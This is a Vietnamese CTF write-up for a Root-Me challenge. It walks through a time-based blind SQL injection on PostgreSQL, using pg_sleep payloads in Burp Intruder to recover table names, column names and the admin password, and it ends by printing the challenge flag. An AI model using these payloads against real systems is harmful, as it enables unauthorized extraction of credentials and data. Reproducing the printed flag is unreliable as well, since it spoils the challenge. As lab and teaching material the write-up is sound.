Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

SQL Injection – Time-based

Về SQLi Time-based, đây là một loại SQLi Blind khi ta sử dụng thời gian res của req để dự đoán thông tin và BurpSuite sẽ hỗ trợ rất tốt về mảng này. Khi ta sử dụng một câu Query đúng, thời gian phản hồi sẽ chậm và ngược lại.

Trong website, ta có một tab là Memberlist, có query như sau:

http://challenge01.root-me.org/web-serveur/ch40/?action=memberlist&member=[x]

Ở đây, ta có thể lợi dụng để thực hiện tiêm payload vào đằng sau nó và thực hiện blind. Thử blind với payload bằng nhiều version() database khác nhau:

Payload: 3;select+case+when+(0=0)+then+pg_sleep(10)+else+pg_sleep(-1)+end--

Payload này sẽ khiến dtb res chậm hơn với pg_sleep() khi query đúng.

Từ đó, ta sẽ sử dụng Burp Intruder để thực hiện bruteforce table_name, column_name như các bài SQLi đã làm.

  1. Tìm table_name

Trước tiên, ta cần tìm kiếm độ dài của table:

Payload: 3;select+case+when+((select+length(table_name)+from+information_schema.tables+limit+1)=[length])+then+pg_sleep(10)+else+pg_sleep(-1)+end—

Đưa vào Intruder và bruteforce:

Ở bảng kết quả, ta filter lại cột “Response Complete”. Res nào có độ lớn cao nhất thì chắc hẳn đó là payload đúng.

  • length(table_name) == 5

Đã có table_name, ta tiến hành bruteforce table_name. Bỏ vào intruder:

member=3;select+case+when+(substr((select+table_name+from+information_schema.tables+limit+1),§1§,1)=chr(§§))+then+pg_sleep(10)+else+pg_sleep(-1)+end--

Ghép lại ta được table_name=users

  1. Tìm column_name

Tương tự như table_name, ta tìm length(column_name) của cột đầu tiên:

Kết quả trả về payload length(column_name) = 2. Ta có thể dự đoán nó có thể là ‘id’. Kiểm chứng bằng Repeater:

  • Ký tự ‘i’:

  • Ký tự ‘d’:

  • Cả 2 response đều tốn 2,285 miliseconds (tương tự thời gian fuzz, khác với response thông thường ~ 200 – 300 milisecond) column[0] == id

Để tìm được column tiếp theo, ta sử dụng offset để filter lại và thực hiện tương tự, bruteforce thôi:

  • length(column[2]) == 8

  • column_name[1] = username

Column[2], có length == 9:

Bruteforce được kết quả column_name[2] == firstname:

Tương tự, column[3] có length == 8, và dễ dàng đoán được:

  • column_name[3] == lastname:

Column[4] có length == 5. Suy đoán và thử được kết quả:

  • column_name[4] == email

column[5] có độ dài ký tự là length == 8:

Vì length ==8, ta thử kiểm chứng keyword = ‘password’ thì thấy trùng khớp:

Như vậy, ta đã tìm được đúng cột password, giờ thì tìm password của admin. Admin có id=1, ta chỉ cần tìm kiếm với offset = 0 là sẽ ra.

  • length(password) == 13

Sau hơn 1 ngày bruteforce với payload, ta được kết quả:

member=3;select+case+when+(substr((select+password+from+users+limit+1+offset+0),§§,1)=chr(§§))+then+pg_sleep(10)+else+pg_sleep(-1)+end--

Ta có được chuỗi ascii password: 84 33 109 51 66 64 115 51 68 83 81 76 33

Convert to text: T!m3B@s3DSQL!

Flag: T!m3B@s3DSQL!

- Flag: